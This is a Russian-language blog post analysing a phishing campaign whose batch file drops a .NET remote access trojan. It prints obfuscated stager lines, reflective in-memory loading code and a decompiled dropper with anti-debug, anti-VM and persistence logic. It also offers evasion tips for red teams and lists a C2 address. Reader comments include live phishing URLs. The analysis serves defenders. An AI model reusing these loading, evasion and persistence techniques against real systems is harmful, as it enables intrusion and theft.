Вводная.

В начале апреля в организации в Российской Федерации (и не только) пришли письма от неизвестного отправителя. В содержимом письма, кроме пожелания хорошего дня и просьбой ответить «скорее», находился RAR архив, а внутри архива *.bat файл.

После проверки содержимого в песочнице были предоставлены некоторые артефакты, указывая, что в письме явно содержится что-то подозрительное, но определить наверняка, вредонос это или нет СЗИ не удалось.

Зато были указаны некоторые составляющие bat файла: обфусцированные строки PowerShell.

Этого было достаточно чтобы начать анализ содержимого, найти IoC’и, и посмотреть на наличие таковых в трафике от организации.

Анализ вложения.

Как уже было отмечено, в архиве находился bat-файл.

Внутри обфусцированные функции и зашифрованные payloads, но об этом по порядку.

Содержимое bat-файла часть 1 (пейлоад отредактирован)
Содержимое bat-файла часть 1 (пейлоад отредактирован)
Содержимое bat-файла часть 2 (обфусцированный PowerShell).
Содержимое bat-файла часть 2 (обфусцированный PowerShell).

Деобфускация содержимого.

В первой части bat скрипта объявляются необходимые переменные в обфусцированном виде

set "dnRHZ3NQ=set R1NCSw===1 && start "" /min "
set "UFVTQVZB=&& exit"
set "eUxyZUdk=not defined R1NCSw==if %eUxyZUdk:=% (%dnRHZ3NQ:=%%0 %UFVTQVZB:=%)


Далее идут 2 зашифрованных с помощью AES CBC пейлоада, которые распологаюатся в комментариях (в batch '::')

Переменные первой части не слишком о много говорят, поэтому возьмемся за вторую часть. Для деобфускации второй части содержимого .bat файла несколько изменим его . Верхнеуровнево изучив 2-ю часть скрипта, можно заметить:
1. Переменной d2NKb09D присваивается обфусцированная строка: 
set "d2NKb09D=WxNzdnindxNzdnowxNzdnsPxNzdnowxNzdnerSxNzdnhxNzdnelxNzdnl\xNzdnvxNzdn1.xNzdn0\pxNzdnowxNzdnersxNzdnhexNzdnllxNzdn.exNzdnxexNzdn"
2. После чего, строка деобфусцируется путём замены сочетания «xNzdn» на пустое значение "" и добавляется к пути C:\Windows\System32\, полученное содержимое помещается в переменную T1BHZ0FQ, которая выполняет обфусцированный код через pipe (номер 2 на рисунке ниже).
3. На следующем шаге в переменную dFFKVXdT добавляется обфусцированный код, с помощью команды echo выводится (номер 1 на рисунке ниже) и передается через pipe переменной 2.

Процесс обфускации кода мы уже знаем, посмотрим на деобфусцированный код. Для этого на изолированной виртуальной машине в cmd.exe мы его деобфусцируем:

1.  Сначала разберемся, какой конечный путь содержит переменная из пункта 2. Объявим переменную и выполним деобфускацию:

В результате получаем C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe. Теперь мы знаем, что обфусцированный код передается через pipe в powershell.exe, деобфусцируем его.

2. Для этого аналогично первому этапу объявим переменные eEZvRHFu, dFFKVXdT и их содержимое, после чего уберем часть строки.

$host.UI.RawUI.WindowTitle  – позволяет изменить название консоли (в нашем случае открывается консоль PowerShell, в которой выполняется деобфусцированный код), название консоли может любым, атакующие на данном этапе записывают в название наименование выполняемого bat-скрипта, чтобы в дальнейшем этим воспользоваться (в коде сценария PowerShell) – один из трюков для обращения по имени файла, из которого будет считываться нагрузка из PowerShell сценария. (RedTeam на заметку)

Настало время деобфусцировать код сценария PowerShell:

Сценарий у нас есть, давайте взглянем подробнее на содержимое: 

В сценарии используется обфускация строк, чтобы обойти средства статического анализа перед исполнением кода.
Переменная $fEla содержит обфусцированный массив командлетов, которые используются в функциях PiXdA & CaenE и извлекаются по номеру элемента массива. (Red Team’у на заметку), такой способ также позволяет обойти триггеры AV & EDR, т.к. переменные извлекаются непосредственно в памяти и не сохраняются в открытом виде, в журнале событий (Event ID 4104) . Деобфусцируем и взглянем на содержимое переменной:

Деобфусцируем и взглянем на содержимое массива $fEla:

Оригинальный код, после приведення его к читаемому виду будет выглядеть так:

Теперь по порядку о том, что происходит в сценарии. Сценарий отрабатывает в скрытом окне, где происходит считывание содержимого открытого batch скрипта в переменную $QEoyB (24 строка)после чего с использованием методов Substring и ElementAt извлекается содержимое первой и второй нагрузки, далее декодируется из Base64 и с помощью функции PiXdA расшифровывается (Алгоритм AES 256 Bit, ключ и вектор в коде). После чего, расшифрованное содержимое проходит декомпрессию (функция CaenE) и записывается в переменные: $Mnpxl и $RtlUk (25 и 26 строки). 
На следующем этапе содержимое (массив байтов) загружается в память процесса запущенного PowerShell и выполняется (строки 28 и 29):

[System.Reflection.Assembly]::Load([byte[]]$RtlUk).EntryPoint.Invoke($null,$null);
[System.Reflection.Assembly]::Load([byte[]]$Mnpxl).EntryPoint.Invoke($null,$null);

Загрузка и выполнение в памяти через namespace System.Reflection.Assembly возможна для сборок c .NET Framework. Что говорит о языке, на котором написаны библиотеки $RtlUk и $Mnpxl.

Для дальнейшего исследования загружаемой в память полезной нагрузки, мы несколько изменим сценарий PowerShell:

  1. Закомментируем строки «powershell -w hidden», а также строки загрузки и выполнения в памяти загруженной сборки (комментируем строки 3, 31, 32 на рисунке ниже).

  2. Чтобы без ошибок считать нагрузку из bat файла, мы укажем полный путь файла (в оригинале она считывается с использованием [System.IO.File]::ReadLines([Console]::Title), где [Console]::Title возвращает нам название запущенного ранее bat файла, т.к. перед этим наименование было помещено в новую созданную консоль через $host.UI.RawUI.WindowTitle = %˜0).

  3.  Теперь, для дальнейшего анализа, нам необходимо записать расшифрованную нагрузку на диск. Для этого в методом WriteAllBytes, библиотек System.IO.File.

В конечном итоге, сценарий будет выглядеть так:

В результате выполнения изменённого нами сценария, мы получаем нагрузку на диске в виде двух файлов. Теперь эту нагрузку можно изучить подробнее.

Как мы уже предположили файлы представляют собой сборки на C#. Но чтобы убедиться в этом наверняка, воспользуемся утилитой DetectItEasy.

Первый файл скомпилирован с использованием пакера VMProtect, который затрудняет статический анализ кода и исходный код которого, аж дважды попадал в открытый доступ в 2023 году. (за использованием его в качестве инструмента защиты кода, были замечены небезизвестные Lazarus, APT31, Rorschach, Darkside и другие хак-группировки)

Оба файла, как мы предполагали на этапе анализа PowerShell, написаны с использованием .NET Framework, значит мы можем попробовать их декомпилировать и разобраться, какая же все-таки нагрузка выполняется. Для декомпиляции, а также деобфускации и распаковки кода, можно воспользоваться несколькими инструментами:

  • DnSpy - debugger and .NET assembly editor. Хоть проект уже несколько лет находится в архиве, тем не менее функционал свой выполняет. https://github.com/dnSpy/dnSpy

  • DnSpyEx - пришедший на смену предыдущему проект, который поддерживается коммьюнити по сей день. https://github.com/dnSpyEx/dnSpy (им мы и будем пользоваться)

  • De4dot - deobfuscator and unpacker, является одним из самых популярных инструментов для распаковки и/или деобфускации кода. https://github.com/de4dot/de4dot.

  • .NET Reactor Slayer - еще один deobfuscator and unpacker, в некоторых случаях показывает себя лучше, чем de4dot. https://github.com/SychicBoy/NETReactorSlayer

Файл RtlUk - Известный как ScrubBypass, который позволяет обойти ASMI и ETW, другого функционала он не несет.

Загрузим второй файл, сборку Mnpxl, в декомпилятор dnSpy, код не имеет обфускации и не запакован, поэтому хорошо читается. В глаза сразу бросается наличие ресурсов в сборке. Часто в ресурсах содержатся доп. нагрузки, а в случае с RemoteAccessTool различные модули (кейлоггеры и другие). С ресурсами разберемся чуть позже.

Не меньше интереса вызывают функции CheckRemoteDebuggerPresent, IsDebuggerPresent - проверяют наличие отладки исполняемого файла во время запуска.

Взглянем подробнее на функцию main().

private static void Main()
		{
			Process currentProcess = Process.GetCurrentProcess();
			string title = Console.Title;
			using (WindowsIdentity current = WindowsIdentity.GetCurrent())
			{
				CLASS.IsAdmin = new WindowsPrincipal(current).IsInRole(WindowsBuiltInRole.Administrator);
			}
			bool flag = false;
			CLASS.CheckRemoteDebuggerPresent(currentProcess.Handle, ref flag);
			if (Debugger.IsAttached || flag || CLASS.IsDebuggerPresent())
			{
				Environment.Exit(0);
			}
			using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
			{
				ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
				foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
				{
					string text = managementBaseObject["Manufacturer"].ToString().ToLower();
					if ((text == "microsoft corporation" && managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) || text.Contains("vmware") || managementBaseObject["Model"].ToString() == "VirtualBox")
					{
						Environment.Exit(0);
					}
				}
			}
			if (!CLASS.IsStartup(Path.ChangeExtension(title, null)))
			{
				CLASS.InstallStartup(title);
			}
			byte[] rawAssembly = CLASS.Uncompress(CLASS.GetEmbeddedResource("P"));
			MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
			try
			{
				entryPoint.Invoke(null, new object[]
				{
					new string[0]
				});
			}
			catch
			{
				entryPoint.Invoke(null, null);
			}
		}

После проверки наличия роли Администратора у пользователя из под которого процесс был запущен, проверяется наличие отладки исполняемого файла, следующим этапом малварь проверяет, что запущена не на виртуальной машине. В случае отрицательного результата, малварь завершает свою работу. Если результат положительный и пользователь входит в группу Администраторы, малварь закрепляется, копируя себя в
директорию %APPDATA%\strt.cmd и создавая задачу OneNote 58405 через powershell ( Base64 "cG93ZXJzaGVsbC5leGU=" --> powershell.exe). Задача выполняется после входа пользователя в систему и запускают файл дроппера strt.cmd.

Если у пользователя отсутствуют привилегии администратора, strt.cmd перемещается в директорию пользователя startup (для автозапуска)

Наличие strt.cmd в представленных директориях, а также создание задачи OneNote 58405 - всё это индикаторы компрометации, которые можно найти например на SIEM или средствах защиты класса HIPS (EDR и.т.д) после компрометации. Но мы продолжим изучать нагрузку.

Вернемся к функции main. После описанных проверок, из упомянутого ранее ресурса "P" извлекается содержимое, декомпрессируется, загружается в память, после чего выполняется. Чтобы изучить содержимое подробнее, запишем его на диск. Для этого, отредактируем код класса, закомментируем проверку наличия отладчика и запуска в виртуальный среде (т.к. именно здесь мы изучаем малварь), а также запуск загруженной в память нагрузки:

MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
  {
	entryPoint.Invoke(null, new object[]
  {
	new string[0]
		});
  }
    catch
   {
 entryPoint.Invoke(null, null);
			}

Вместо этого запишем нагрузку на диск:

Компилируем и запускаем, в результате получим нагрузку:

Файл представляет собой сборку .NET Framework, поэтому его можно загрузить в dnSpy и декомпилировать.

Содержимое этого файла - массив сырых байтов, которые загружаются (уже знакомым нам методом) и исполняются, точнее запускается отдельный метод класса. Если коротко, то это еще один дроппер.


Установив точку останова, мы можем сохранить содержимое переменной, назовем файл raw_raw_trojan (не будем заморачиваться с названием). Загрузим его в DetectItEasy:

Файл также является сборкой .NET Framework и содержит протектор .NET Reactor, загрузим его в dnSpy.

Чтобы упростить развертывание и уменьшить размер файла, малварь использует Fody.Costura. Такое встраивание уже наблюдалось в RAT в январе 2024 года специалистами.
Снятие протектора с использованием de4dot не принесло должного результата, однако использование .NET Reactor Slayer позволило привести код к более читаемому виду.

Из интересного: троян также имеет проверку среды, в которой он запускается

Кроме того, в одном из классов был найден IP-адрес С2 сервера, с которым троян пытается установить соединение после запуска.


Этот же адрес можно заметить в сетевом графике при динамическом анализе 93.123.39.147:5888.

На момент анализа в VT данного IP 04.04 в день фишинга, сработок было относительно немного (около 5), на сегодня 21.04 сработок прибавилось, но все еще немного, что говорит о том, что сервер довольно свежий. Данного IP уже использовался для С2 STRRAT.

В ресурсах (5 шт) вредоноса содержатся модули (кейлоггер и другие), которые путём хитрого преобразования извлекаются и с использованием WinAPI функций + GetDelegateForFuntionPointer инжектятся в память процессов.
Из интересного функционала трояна - загрузка браузера Tor на хост жертвы, для выстраивания взаимодействия через сеть tor.

Извлекать и писать декодер для 5 ресурсов я не стал. Ограничившись индикаторами компрометации, которые удалось обнаружить в ходе анализа.

Заключение.

Такие интересные сэмплы удалось изучить в начале апреля. Более глубокий анализ (анализ модулей) подобной малвари провела команда Fortinet. После анализа, можно сделать вывод, что атакующие чаще используют безфайловые атаки, различные техники обфускации, anti-Dbg/anti-Sandbox техники, чтобы успешно провести атаку, обойти средства защиты и закрепиться в системе. Надеюсь этот материал будет полезен и в дальнейшем поможет при изучении схожей нагрузки.

Комментарии (3)


  1. Yapokhozhnakota
    22.04.2024 16:54

    А мне на почту майл ру пришло фишинговое письмо "Оплатите штраф ГИБДД"

    В спам не попало, ссылки в письме ведут на сайт https://gosuslugi.ru-lkf.me

    Если просто открыть ссылку то перекинет на госуслуги, если перейти из ссылки в письме с параметрами то открывается фишинговое окно ввода в котором почту уже подставляют в качестве логина.

    https://gosuslugi.ru-lkf.me/?sess=&retpath=

    Еще по другой ссылке воруют емайл

    https://docviewer-mail.ru


    1. AntonyN0p Автор
      22.04.2024 16:54

      Доброго времени суток. Просьба не распространять ссылки ведущие на фишинговые ресурсы, даже в благих намерениях.


    1. Mail_Support
      22.04.2024 16:54

      Здравствуйте. Если вам поступают нежелательные письма с сомнительным содержанием, то не переходите по ссылкам из такого письма.Если наш антиспам пропустил какое-то "мусорное" письмо, нажмите кнопку «Спам» — это улучшит наши алгоритмы.

      Также можете скачать в формате EML и прислать нам оригиналы таких писем через форму https://help.mail.ru/surveys/claims , чтобы мы могли принять меры.
      Как скачать письмо: https://help.mail.ru/mail/helpful/eml